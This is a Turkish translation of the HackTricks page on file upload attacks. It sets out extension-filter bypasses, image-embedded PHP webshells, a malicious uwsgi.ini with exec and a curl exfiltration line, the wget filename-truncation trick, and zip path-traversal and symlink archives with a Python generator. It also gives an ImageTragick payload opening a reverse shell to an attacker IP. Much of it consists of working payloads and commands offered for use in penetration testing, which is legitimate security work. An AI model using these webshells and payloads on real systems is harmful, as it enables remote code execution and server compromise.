hacktricks/pentesting-web/file-upload
2024-04-15 03:58:13 +00:00
..
pdf-upload-xxe-and-cors-bypass.md Translated to Turkish 2024-02-10 18:14:16 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-04-15 03:58:13 +00:00

Dosya Yükleme

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Lehçe yazılı ve sözlü gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

Dosya Yükleme Genel Metodolojisi

Diğer kullanışlı uzantılar:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • PHPv8'de Çalışma: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Sunucusu: .yaws

Dosya uzantıları kontrolünü atlatma

  1. Eğer varsa, önceki uzantıları kontrol edin. Ayrıca onları bazı büyük harflerle deneyin: pHp, .pHP5, .PhAr ...
  2. Çalıştırma uzantısından önce geçerli bir uzantı ekleyin (önceki uzantıları da kullanın):
  • file.png.php
  • file.png.Php5
  1. Sonuna özel karakterler eklemeyi deneyin. Burp'u kullanarak tüm ascii ve Unicode karakterlerini bruteforce etmeyi deneyebilirsiniz. (Önceki uzantıları da kullanabilirsiniz)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak korumaları atlamayı deneyin, uzantıyı iki katına çıkararak veya uzantılar arasına gereksiz veri (null baytları) ekleyerek. Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Önceki kontrolde başka bir katman uzantı ekleyin:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Geçerli uzantıdan önce exec uzantısını koyup sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlı yapılandırmalarını sömürmek için faydalıdır, burada uzantısı .php olan her şey, ancak .php ile bitmeyen her şey kodu çalıştıracaktır):
  • örn: file.php.png
  1. Windows'ta NTFS alternatif veri akışını (ADS) kullanın. Bu durumda, yasaklı bir uzantıdan önce ve izin verilen bir uzantıdan sonra iki nokta karakteri “:” eklenir. Sonuç olarak, sunucuda yasaklı uzantılı boş bir dosya oluşturulur (örn. “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “::$data” deseni ayrıca dolu dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek daha fazla kısıtlamayı atlamak için yararlı olabilir (örn. “file.asp::$data.”)
  2. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir ve kötücül PHP bırakılır. AAA<--SNIP-->AAA.php
# Linux maksimum 255 bayt
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 eksiltin ve .png ekleyin
# Dosyayı yükleyin ve kaç karakter izin verdiğini kontrol edin. Diyelim ki 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Payload'ı oluşturun
AAA<--SNIP 232 A-->AAA.php.png

İçerik Türü, Sihirli Sayı, Sıkıştırma ve Yeniden Boyutlandırma Geçme

  • Content-Type kontrollerini atlayarak Content-Type başlığının değerini şu şekilde ayarlayın: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
  • Sihirli sayı kontrolünü atlayarak dosyanın başına gerçek bir resmin baytlarını ekleyerek (file komutunu karıştırın). Veya metadata içine shell ekleyin:
    exiftool -Comment="<?php echo 'Komut:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ veya ayrıca bir resme doğrudan yük paylaşımı ekleyebilirsiniz:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Eğer resminize sıkıştırma ekleniyorsa, örneğin PHP-GD gibi bazı standart PHP kütüphanelerini kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı hayatta kalacak metni eklemek için PLTE chunk burada tanımlanan teknik kullanabilirsiniz.
  • Kod ile Github
  • Web sayfası ayrıca resmi yeniden boyutlandırarak kullanıyor olabilir, örneğin PHP-GD fonksiyonları imagecopyresized veya imagecopyresampled kullanarak. Ancak, sıkıştırmayı hayatta kalacak metni eklemek için IDAT chunk burada tanımlanan teknik kullanabilirsiniz.
  • Kod ile Github
  • Bir başka teknik, bir yükün resmi yeniden boyutlandırarak hayatta kalmasını sağlamak için PHP-GD fonksiyonu thumbnailImage kullanmaktır. Ancak, sıkıştırmayı hayatta kalacak metni eklemek için tEXt chunk burada tanımlanan teknik kullanabilirsiniz.
  • Kod ile Github

Diğer İpuçları

  • Zaten yüklenmiş olan dosyayı yeniden adlandırmak için bir zafiyet bulun.
  • Geri kapıyı çalıştırmak için Yerel Dosya Dahil Etme zafiyeti bul.
  • Olası Bilgi Sızıntısı:
  1. Aynı dosyayı ve aynı ada sahip dosyayı birkaç kez ve aynı anda yükleyin.
  2. Zaten var olan bir dosya veya dizin adına sahip bir dosya yükleyin.
  3. Dosyanın adı olarak “.”, “..”, veya “…” ekleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları “/www/uploads/” dizininde saklıyorsa, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
  4. NTFS'de (Windows) silinmesi zor olan bir dosya yükleyin, örneğin “…:.jpg”.
  5. Dosyanın adında |<>*?” gibi geçersiz karakterler içeren bir dosya yükleyin (Windows).
  6. Yasaklanmış (yasaklanmış) adlar kullanarak bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
  • Ayrıca yanlışlıkla açıldığında kodu çalıştıracak bir (.exe) veya daha az şüpheli bir şekilde .html dosyası yüklemeyi deneyin.

Özel Uzantı İpuçları

Eğer dosyaları bir PHP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılması için .htaccess ipucuna bakın.
Eğer dosyaları bir ASP sunucusuna yüklemeye çalışıyorsanız, kodun çalıştırılması için .config ipucuna bakın.

.phar dosyaları java için .jar gibi, ancak php için kullanılabilir ve bir php dosyası gibi kullanılabilir (php ile çalıştırarak veya bir betik içine dahil ederek...)

.inc uzantısı bazen yalnızca dosyaları ithal etmek için kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, birinin bu uzantının çalıştırılmasına izin vermiş olabileceğini düşünebilirsiniz.

Jetty RCE

Jetty sunucusuna bir XML dosyası yükleyebilirseniz, RCE elde edebilirsiniz çünkü yeni *.xml ve *.war dosyaları otomatik olarak işlenir. Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını $JETTY_BASE/webapps/ dizinine yükleyin ve kabuk bekleyin!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Bu zafiyetin detaylı keşfi için orijinal araştırmaya göz atın: uWSGI RCE Exploitation.

UWSGI sunucularında Uzak Komut Yürütme (RCE) zafiyetleri, .ini yapılandırma dosyasını değiştirme yeteneğine sahip olanlar tarafından sömürülebilir. UWSGI yapılandırma dosyaları, "sihirli" değişkenler, yer tutucular ve operatörler içeren belirli bir sözdizim kullanır. Özellikle, @(filename) olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. UWSGI'deki çeşitli desteklenen şemalardan biri olan "exec" şeması özellikle etkilidir ve bir işlemin standart çıktısından veri okumayı sağlar. Bu özellik, bir .ini yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Keyfi Dosya Yazma/Okuma gibi kötü amaçlı amaçlar için manipüle edilebilir.

Aşağıdaki zararlı uwsgi.ini dosyasının çeşitli şemaları sergileyen bir örneğini düşünün:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

Payload'ın yürütülmesi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için uWSGI işlemi ya yeniden başlatılmalıdır (potansiyel olarak bir çökme sonrası veya Bir Hizmet Reddi saldırısından dolayı) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Etkinleştirilmişse, otomatik yeniden yükleme özelliği, değişiklikler algılandığında belirtilen aralıklarda dosyayı yeniden yükler.

uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak son derece önemlidir. Özellikle, tartışılan payload, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir, potansiyel istismarın kapsamını daha da genişletir.

wget Dosya Yükleme/SSRF Hilesi

Bazı durumlarda sunucunun wget kullanarak dosyaları indirdiğini ve URL'yi belirtebileceğinizi fark edebilirsiniz. Bu durumlarda, kodun indirilen dosyaların uzantısının bir beyaz listeye dahil olduğunu kontrol edebileceğini ve yalnızca izin verilen dosyaların indirileceğini sağlamak için. Ancak, bu kontrol atlatılabilir.
Linux'taki bir dosya adının maksimum uzunluğu 255 karakterdir, ancak wget dosya adlarını 236 karaktere kısaltır. "A"*232+".php"+".gif" adında bir dosya indirebilirsiniz, bu dosya adı kontrolü atlayacaktır (bu örnekte ".gif" geçerli bir uzantıdır) ancak wget dosyayı "A"*232+".php" olarak yeniden adlandıracaktır.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php saved [10/10]

Başka bir seçenek olarak düşünebileceğiniz şey, HTTP sunucusunu farklı bir dosyaya yönlendirmesini sağlamak olabilir, böylece başlangıçtaki URL, wget o zamana kadar kontrolü atlayacak ve ardından wget, yeni adıyla yönlendirilen dosyayı indirecektir. Bu, wget'in --trust-server-names parametresiyle kullanılmadığı sürece çalışmayacaktır çünkü wget, yönlendirilen sayfayı orijinal URL'de belirtilen dosya adıyla indirecektir.

Araçlar

  • Upload Bypass, Pentester ve Bug Avcılarına dosya yükleme mekanizmalarını test etmede yardımcı olmak için tasarlanmış güçlü bir araçtır. Çeşitli hata ödülü tekniklerinden yararlanarak web uygulamalarının kapsamlı değerlendirmelerini sağlayarak zayıflıkları tanımlama ve sömürme sürecini basitleştirir.

Dosya yüklemeden diğer zafiyetlere

İşte yükleme yaparak elde edebileceğiniz şeylerin en iyi 10 listesi (buradan):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Depolanmış XSS / SSRF / XXE
  3. GIF: Depolanmış XSS / SSRF
  4. CSV: CSV enjeksiyonu
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML enjeksiyonu / XSS / Açık yönlendirme
  8. PNG / JPEG: Piksel sel saldırısı (DoS)
  9. ZIP: LFI aracılığıyla RCE / DoS
  10. PDF / PPTX: SSRF / Kör XXE

Burp Eklentisi

{% embed url="https://github.com/portswigger/upload-scanner" %}

Sihirli Başlık Baytları

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
  • JPG: "\xff\xd8\xff"

Diğer dosya türleri için https://en.wikipedia.org/wiki/List_of_file_signatures adresine başvurun.

Zip/Tar Dosyası Otomatik Olarak Sıkıştırılmış Yükleme

Sunucu içinde sıkıştırılacak bir ZIP yükleyebiliyorsanız, 2 şey yapabilirsiniz:

Sembolik bağ

Diğer dosyalara yumuşak bağlantılar içeren bir bağlantı yükleyin, ardından, sıkıştırılmış dosyalara erişerek bağlı dosyalara erişeceksiniz:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Farklı klasörlerde açma

Sıkıştırma sırasında dosyaların beklenmedik şekilde klasörler oluşturması ciddi bir sorundur. Bu yapıyla başlangıçta kötü niyetli dosya yüklemeleri aracılığıyla OS düzeyinde komut yürütmenin engellenebileceği varsayımlarına rağmen, ZIP arşiv formatının hiyerarşik sıkıştırma desteği ve dizin gezinme yetenekleri kötü niyetli kişiler tarafından istismar edilebilir. Bu, saldırganların hedef uygulamanın açma işlevselliğini manipüle ederek güvenli yükleme dizinlerinden kaçınmasına olanak tanır.

Bu tür dosyaları oluşturmak için otomatik bir saldırı aracı GitHub'daki evilarc adresinde bulunmaktadır. Bu araç aşağıdaki gibi kullanılabilir:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Ek olarak, evilarc ile sembolik bağ hilesi bir seçenektir. /flag.txt gibi bir dosyayı hedef almak amaçlandığında, o dosyaya bir sembolik bağ oluşturulmalıdır. Bu, evilarc'ın işlemi sırasında hata ile karşılaşmamasını sağlar.

Aşağıda, kötü niyetli bir zip dosyası oluşturmak için kullanılan Python kodu örneği bulunmaktadır:

#!/usr/bin/python
import zipfile
from io import BytesIO

def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Dosya sıkıştırma kötüye kullanımı için dosya püskürtme

Daha fazla ayrıntı için orijinal yazıya bakın: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Bir PHP Kabuğu Oluşturma: PHP kodu, $_REQUEST değişkeninden geçirilen komutları çalıştırmak için yazılmıştır.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. Dosya Püskürtme ve Sıkıştırılmış Dosya Oluşturma: Birden fazla dosya oluşturulur ve bu dosyaları içeren bir zip arşivi oluşturulur.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Hex Düzenleyici veya vi ile Değiştirme: Zip içindeki dosyaların adları, "xxA"yı değiştirerek dizinleri gezmek için vi veya bir hex düzenleyici kullanılarak değiştirilir.
:set modifiable
:%s/xxA/..\//g
:x!

ImageTragic

Bu içeriği bir resim uzantısıyla yükleyerek zafiyeti sömürün (ImageMagick, 7.0.1-1) (exploit için exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

PNG İçine PHP Shell Gömme

Bir PNG dosyasının IDAT parçasına bir PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlayabilir. PHP-GD'den imagecopyresized ve imagecopyresampled işlevleri bu bağlamda özellikle önemlidir, çünkü genellikle görüntüleri yeniden boyutlandırma ve örnekleme işlemleri için kullanılırlar. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.

Bu teknik hakkında detaylı bir keşif, metodolojisi ve potansiyel uygulamaları aşağıdaki makalede sunulmaktadır: "PNG IDAT parçalarında Web Shell'lerin Kodlanması". Bu kaynak, işlemin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.

Daha fazla bilgi için: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Poliglot Dosyalar

Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder, aynı anda birden fazla dosya biçiminde geçerli olabilen kameleonlar olarak işlev görür. İlginç bir örnek GIFAR adlı bir hibriddir, hem bir GIF hem de bir RAR arşivi olarak işlev gören. Bu tür dosyalar sadece bu eşleşmeyle sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.

Poliglot dosyaların temel faydası, dosyaları türlerine göre tarayan güvenlik önlemlerini atlatma kapasitelerinde yatar. Çeşitli uygulamalarda yaygın olan bir uygulama, yalnızca belirli dosya türlerine izin vermek - JPEG, GIF veya DOC gibi - potansiyel olarak zararlı biçimlerin (örneğin, JS, PHP veya Phar dosyaları) oluşturabileceği riski azaltmak içindir. Ancak, poliglot dosyalar, birden fazla dosya türünün yapısal kriterlerine uyarak bu kısıtlamaları gizlice atlayabilir.

Uyum sağlama yeteneklerine rağmen, poliglotlar bazı sınırlamalarla karşılaşabilir. Örneğin, bir poliglot aynı anda bir PHAR dosyasını (PHp ARşiv) ve bir JPEG'yi temsil edebilirken, yüklemenin başarısı platformun dosya uzantısı politikalarına bağlı olabilir. Sistem, izin verilen uzantılar konusunda katıysa, bir poliglotun yalnızca yapısal ikiliği yükleme garantisi sağlamayabilir.

Daha fazla bilgi için: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Referanslar

Eğer hacking kariyerine ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - işe alıyoruz! (akıcı Polonyaca yazılı ve konuşma gereklidir).

{% embed url="https://www.stmcyber.com/careers" %}

Sıfırdan Kahraman'a AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları: